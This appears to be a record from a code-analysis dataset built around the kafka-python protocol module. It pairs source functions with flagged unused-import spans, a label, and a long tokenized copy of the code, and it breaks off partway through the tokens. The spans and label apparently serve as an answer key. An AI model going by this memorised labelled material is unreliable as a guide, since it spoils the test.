kafka.structs.OffsetFetchResponsePayload(\n topic, partition, offset, metadata, error\n )\n for topic, partitions in response.topics\n for partition, offset, metadata, error in partitions\n ]", "metadata": "root.KafkaProtocol.decode_offset_fetch_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 346 }, { "content": "def create_message(payload, key=None):\n \"\"\"\n Construct a Message\n\n Arguments:\n payload: bytes, the payload to send to Kafka\n key: bytes, a key used for partition routing (optional)\n\n \"\"\"\n return kafka.structs.Message(0, 0, key, payload)", "metadata": "root.create_message", "header": "['module', '___EOS___']", "index": 363 }, { "content": "def create_gzip_message(payloads, key=None, compresslevel=None):\n \"\"\"\n Construct a Gzipped Message containing multiple Messages\n\n The given payloads will be encoded, compressed, and sent as a single atomic\n message to Kafka.\n\n Arguments:\n payloads: list(bytes), a list of payload to send be sent to Kafka\n key: bytes, a key used for partition routing (optional)\n\n \"\"\"\n message_set = KafkaProtocol._encode_message_set(\n [create_message(payload, pl_key) for payload, pl_key in payloads])\n\n gzipped = gzip_encode(message_set, compresslevel=compresslevel)\n codec = ATTRIBUTE_CODEC_MASK & CODEC_GZIP\n\n return kafka.structs.Message(0, 0x00 | codec, key, gzipped)", "metadata": "root.create_gzip_message", "header": "['module', '___EOS___']", "index": 375 }, { "content": "def create_snappy_message(payloads, key=None):\n \"\"\"\n Construct a Snappy Message containing multiple Messages\n\n The given payloads will be encoded, compressed, and sent as a single atomic\n message to Kafka.\n\n Arguments:\n payloads: list(bytes), a list of payload to send be sent to Kafka\n key: bytes, a key used for partition routing (optional)\n\n \"\"\"\n message_set = KafkaProtocol._encode_message_set(\n [create_message(payload, pl_key) for payload, pl_key in payloads])\n\n snapped = snappy_encode(message_set)\n codec = ATTRIBUTE_CODEC_MASK & CODEC_SNAPPY\n\n return kafka.structs.Message(0, 0x00 | codec, key, snapped)", "metadata": "root.create_snappy_message", "header": "['module', '___EOS___']", "index": 396 }, { "content": "def create_message_set(messages, codec=CODEC_NONE, key=None, compresslevel=None):\n \"\"\"Create a message set using the given codec.\n\n If codec is CODEC_NONE, return a list of raw Kafka messages. Otherwise,\n return a list containing a single codec-encoded message.\n \"\"\"\n if codec == CODEC_NONE:\n return [create_message(m, k) for m, k in messages]\n elif codec == CODEC_GZIP:\n return [create_gzip_message(messages, key, compresslevel)]\n elif codec == CODEC_SNAPPY:\n return [create_snappy_message(messages, key)]\n else:\n raise UnsupportedCodecError(\"Codec 0x%02x unsupported\" % codec)", "metadata": "root.create_message_set", "header": "['module', '___EOS___']", "index": 417 } ]
[ { "span": "from six.moves import xrange", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 28 }, { "span": "from kafka.codec import (\n gzip_encode, gzip_decode, snappy_encode, snappy_decode)", "start_line": 17, "start_column": 0, "end_line": 18, "end_column": 59 }, { "span": "from kafka.errors import ProtocolError, ChecksumError, UnsupportedCodecError", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 76 }, { "span": "from kafka.util import (\n crc32, read_short_string, read_int_string, relative_unpack,\n write_short_string, write_int_string, group_by_topic_and_partition)", "start_line": 21, "start_column": 0, "end_line": 23, "end_column": 71 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "struct_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "six_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "six_", "._", "moves_", "import_", "xrange_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "kaf", "ka_", "._", "protocol_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "kaf", "ka_", "._", "protocol_", "._", "fetch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "kaf", "ka_", "._", "protocol_", "._", "message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "kaf", "ka_", "._", "protocol_", "._", "metadata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "kaf", "ka_", "._", "protocol_", "._", "offset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "kaf", "ka_", "._", "protocol_", "._", "produce", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "kaf", "ka_", "._", "structs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "kaf", "ka_", "._", "codec_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "gzip", "\\u", "encode_", ",_", "gzip", "\\u", "decode_", ",_", "snapp", "y", "\\u", "encode_", ",_", "snapp", "y", "\\u", "decode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "kaf", "ka_", "._", "errors_", "import_", "Proto", "col", "Error_", ",_", "Checksum", "Error_", ",_", "Unsu", "ppo", "rted", "Code", "c", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "kaf", "ka_", "._", "structs_", "import_", "Consume", "r", "Meta", "data", "Response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "kaf", "ka_", "._", "util_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "crc", "32_", ",_", "read", "\\u", "short", "\\u", "string_", ",_", "read", "\\u", "int\\u", "string_", ",_", "relative", "\\u", "unpack_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "write", "\\u", "short", "\\u", "string_", ",_", "write", "\\u", "int\\u", "string_", ",_", "group", "\\u", "by", "\\u", "topic", "\\u", "and", "\\u", "partition_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ATTRIBUTE", "\\u", "CODE", "C", "\\u", "MASK_", "=_", "0x03_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "CODE", "C", "\\u", "NONE_", "=_", "0x00_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "CODE", "C", "\\u", "GZ", "IP_", "=_", "0x01_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "CODE", "C", "\\u", "SNAP", "PY", "_", "=_", "0x02_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ALL", "\\u", "CODE", "CS_", "=_", "(_", "CODE", "C", "\\u", "NONE_", ",_", "CODE", "C", "\\u", "GZ", "IP_", ",_", "CODE", "C", "\\u", "SNAP", "PY", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Class", " ", "to", " ", "encapsulat", "e", " ", "all", " ", "of", " ", "the", " ", "protoc", "ol", " ", "encoding", "/", "deco", "ding", ".", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "class", " ", "doe", "s", " ", "not", " ", "have", " ", "any", " ", "state", " ", "associate", "d", " ", "with", " ", "it", ",", " ", "it", " ", "is", " ", "pure", "ly", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "organization", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PROD", "UCE", "\\u", "KEY_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FETCH", "\\u", "KEY_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "OFFSET", "\\u", "KEY_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "METAD", "ATA", "\\u", "KEY_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "OFFSET", "\\u", "COMMIT", "\\u", "KEY_", "=_", "8_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "OFFSET", "\\u", "FETCH", "\\u", "KEY_", "=_", "9_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "CONSU", "MER", "\\u", "METAD", "ATA", "\\u", "KEY_", "=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Priva", "te", " ", "API", " ", " ", " ", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "######", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Public", " ", "API", " ", " ", " ", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "######", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "encode", "\\u", "message", "\\u", "header_", "(_", "cls_", ",_", "client", "\\u", "id_", ",_", "correlation", "\\u", "id_", ",_", "request", "\\u", "key_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Encode", " ", "the", " ", "common", " ", "request", " ", "envelop", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "struct_", "._", "pack_", "(_", "'>", "hh", "ih", "%", "ds", "'_", "%_", "len_", "(_", "client", "\\u", "id_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "key_", ",_", "#", " ", "Ap", "i", "Key_", "\\u\\u\\uNL\\u\\u\\u_", "version_", ",_", "#", " ", "Ap", "i", "Version_", "\\u\\u\\uNL\\u\\u\\u_", "correlation", "\\u", "id_", ",_", "#", " ", "Correla", "tion", "Id_", "\\u\\u\\uNL\\u\\u\\u_", "len_", "(_", "client", "\\u", "id_", ")_", ",_", "#", " ", "Client", "Id", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "client", "\\u", "id_", ")_", "#", " ", "Client", "Id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "encode", "\\u", "message", "\\u", "set_", "(_", "cls_", ",_", "messages_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Encode", " ", "a", " ", "Messag", "e", "Set", ".", " ", "Unli", "ke", " ", "other", " ", "arrays", " ", "in", " ", "the", " ", "protoc", "ol", ",", "\\", "10", ";", " ", " ", " ", " ", "Messag", "e", "Set", "s", " ", "are", " ", "not", " ", "length", "-", "prefixed", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Format", "\\", "10", ";", " ", " ", " ", " ", "=====", "=", "\\", "10", ";", " ", " ", " ", " ", "Messag", "e", "Set", " ", "=>", " ", "[", "Off", "set", " ", "Messag", "e", "Size", " ", "Messag", "e", "]", "\\", "10", ";", " ", " ", "Off", "set", " ", "=>", " ", "int", "64", "\\", "10", ";", " ", " ", "Messag", "e", "Size", " ", "=>", " ", "int", "32", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message", "\\u", "set_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "message_", "in_", "messages_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "encode", "d\\u", "message_", "=_", "Ka", "fk", "a", "Protocol_", "._", "\\u", "encode", "\\u", "message_", "(_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message", "\\u", "set_", "._", "append_", "(_", "struct_", "._", "pack_", "(_", "'>", "qi", "%", "ds", "'_", "%_", "len_", "(_", "encode", "d\\u", "message_", ")_", ",_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "len_", "(_", "encode", "d\\u", "message_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "encode", "d\\u", "message_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "b", "''_", "._", "join_", "(_", "message", "\\u", "set_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "encode", "\\u", "message_", "(_", "cls_", ",_", "message_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Encode", " ", "a", " ", "single", " ", "message", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "magic", " ", "number", " ", "of", " ", "a", " ", "message", " ", "is", " ", "a", " ", "format", " ", "version", " ", "number", ".", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "only", " ", "support", "ed", " ", "magic", " ", "number", " ", "right", " ", "now", " ", "is", " ", "zero", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Format", "\\", "10", ";", " ", " ", " ", " ", "=====", "=", "\\", "10", ";", " ", " ", " ", " ", "Messag", "e", " ", "=>", " ", "Cr", "c", " ", "Mag", "ic", "Byte", " ", "Attribute", "s", " ", "Key", " ", "Value", "\\", "10", ";", " ", " ", "Cr", "c", " ", "=>", " ", "int", "32", "\\", "10", ";", " ", " ", "Mag", "ic", "Byte", " ", "=>", " ", "int", "8", "\\", "10", ";", " ", " ", "Attribute", "s", " ", "=>", " ", "int", "8", "\\", "10", ";", " ", " ", "Key", " ", "=>", " ", "bytes", "\\", "10", ";", " ", " ", "Value", " ", "=>", " ", "bytes", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "message_", "._", "magic_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "b", "''_", "._", "join_", "(_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "struct_", "._", "pack_", "(_", "'>", "BB", "'_", ",_", "message_", "._", "magic_", ",_", "message_", "._", "attributes_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "write", "\\u", "int\\u", "string_", "(_", "message_", "._", "key_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "write", "\\u", "int\\u", "string_", "(_", "message_", "._", "value_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "crc_", "=_", "crc", "32_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "struct_", "._", "pack_", "(_", "'>", "i", "%", "ds", "'_", "%_", "len_", "(_", "msg_", ")_", ",_", "crc_", ",_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Proto", "col", "Error_", "(_", "\"", "Une", "xpe", "cte", "d", " ", "magic", " ", "number", ":", " ", "%", "d", "\"_", "%_", "message_", "._", "magic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "msg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "encode", "\\u", "produce", "\\u", "request_", "(_", "cls_", ",_", "payloads_", "=_", "(_", ")_", ",_", "ack", "s_", "=_", "1_", ",_", "timeout_", "=_", "1000_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Encode", " ", "a", " ", "Produce", "Request", " ", "struct", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "payload", "s", ":", " ", "list", " ", "of", " ", "Produce", "Request", "Pay", "load", "\\", "10", ";", " ", " ", " ", " ", "ack", "s", ":", " ", "Ho", "w", " ", "\"", "ack", "y", "\"", " ", "you", " ", "want", " ", "the", " ", "request", " ", "to", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "1", ":", " ", "writt", "en", " ", "to", " ", "disk", " ", "by", " ", "the", " ", "leader", "\\", "10", ";", " ", " ", " ", " ", "0", ":", " ", "immediate", " ", "response", "\\", "10", ";", " ", " ", " ", " ", "-1", ":", " ", "waits", " ", "for", " ", "all", " ", "replica", "s", " ", "to", " ", "be", " ", "in", " ", "sync", "\\", "10", ";", " ", " ", " ", " ", "timeo", "ut", ":", " ", "Maxim", "um", " ", "time", " ", "(", "in", " ", "ms", ")", " ", "the", " ", "server", " ", "will", " ", "wait", " ", "for", " ", "replica", " ", "ack", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "is", " ", "\\u", "not", "\\u", " ", "a", " ", "socket", " ", "timeo", "ut", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", " ", "Produce", "Request", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ack", "s_", "not_", "in_", "(_", "1_", ",_", "0_", ",_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Produce", "Request", " ", "ack", "s", " ", "(%", "s", ")", " ", "must", " ", "be", " ", "1", ",", " ", "0", ",", " ", "-1", "'_", "%_", "ack", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "kaf", "ka_", "._", "protocol_", "._", "produce", "_", "._", "Produce", "Request_", "[_", "0_", "]_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "require", "d\\u", "ack", "s_", "=_", "ack", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "timeout_", "=_", "timeout_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "topics_", "=_", "[_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "topic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "partition_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "0_", ",_", "0_", ",_", "kaf", "ka_", "._", "protocol_", "._", "message_", "._", "Message_", "(_", "msg_", "._", "value_", ",_", "key_", "=_", "msg_", "._", "key_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "magic_", "=_", "msg_", "._", "magic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "attributes_", "=_", "msg_", "._", "attributes_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "msg_", "in_", "payload_", "._", "messages_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "partition_", ",_", "payload_", "in_", "topic", "\\u", "payloads_", "._", "items_", "(_", ")_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "topic_", ",_", "topic", "\\u", "payloads_", "in_", "group", "\\u", "by", "\\u", "topic", "\\u", "and", "\\u", "partition_", "(_", "payloads_", ")_", "._", "items_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "decode", "\\u", "produce", "\\u", "response_", "(_", "cls_", ",_", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Decode", " ", "Produce", "Respons", "e", " ", "to", " ", "Produce", "Respons", "e", "Pay", "load", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "response", ":", " ", "Produce", "Respons", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", ":", " ", "list", " ", "of", " ", "Produce", "Respons", "e", "Pay", "load", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "kaf", "ka_", "._", "structs_", "._", "Produce", "Respons", "e", "Payload_", "(_", "topic_", ",_", "partition_", ",_", "error_", ",_", "offset_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "topic_", ",_", "partitions_", "in_", "response_", "._", "topics_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "partition_", ",_", "error_", ",_", "offset_", "in_", "partitions_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "encode", "\\u", "fetch", "\\u", "request_", "(_", "cls_", ",_", "payloads_", "=_", "(_", ")_", ",_", "max", "\\u", "wait", "\\u", "time_", "=_", "100_", ",_", "min", "\\u", "bytes_", "=_", "4096_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Encode", "s", " ", "a", " ", "Fe", "tch", "Request", " ", "struct", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "payload", "s", ":", " ", "list", " ", "of", " ", "Fe", "tch", "Request", "Pay", "load", "\\", "10", ";", " ", " ", " ", " ", "max", "\\u", "wait", "\\u", "time", " ", "(", "int", ",", " ", "option", "al", "):", " ", "ms", " ", "to", " ", "block", " ", "wait", "ing", " ", "for", " ", "min", "\\u", "bytes", "\\", "10", ";", " ", " ", " ", " ", "data", ".", " ", "Default", "s", " ", "to", " ", "100", ".", "\\", "10", ";", " ", " ", " ", " ", "min", "\\u", "bytes", " ", "(", "int", ",", " ", "option", "al", "):", " ", "minim", "um", " ", "bytes", " ", "require", "d", " ", "to", " ", "return", " ", "bef", "ore", "\\", "10", ";", " ", " ", " ", " ", "max", "\\u", "wait", "\\u", "time", ".", " ", "Default", "s", " ", "to", " ", "409", "6", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", ":", " ", "Fe", "tch", "Request", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "kaf", "ka_", "._", "protocol_", "._", "fetch_", "._", "Fe", "tch", "Request_", "[_", "0_", "]_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "replica", "\\u", "id_", "=_", "-_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "wait", "\\u", "time_", "=_", "max", "\\u", "wait", "\\u", "time_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "bytes_", "=_", "min", "\\u", "bytes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "topics_", "=_", "[_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "topic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "partition_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "payload_", "._", "offset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "payload_", "._", "max", "\\u", "bytes_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "partition_", ",_", "payload_", "in_", "topic", "\\u", "payloads_", "._", "items_", "(_", ")_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "topic_", ",_", "topic", "\\u", "payloads_", "in_", "group", "\\u", "by", "\\u", "topic", "\\u", "and", "\\u", "partition_", "(_", "payloads_", ")_", "._", "items_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "decode", "\\u", "fetch", "\\u", "response_", "(_", "cls_", ",_", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Decode", " ", "Fe", "tch", "Respons", "e", " ", "struct", " ", "to", " ", "Fe", "tch", "Respons", "e", "Pay", "load", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " 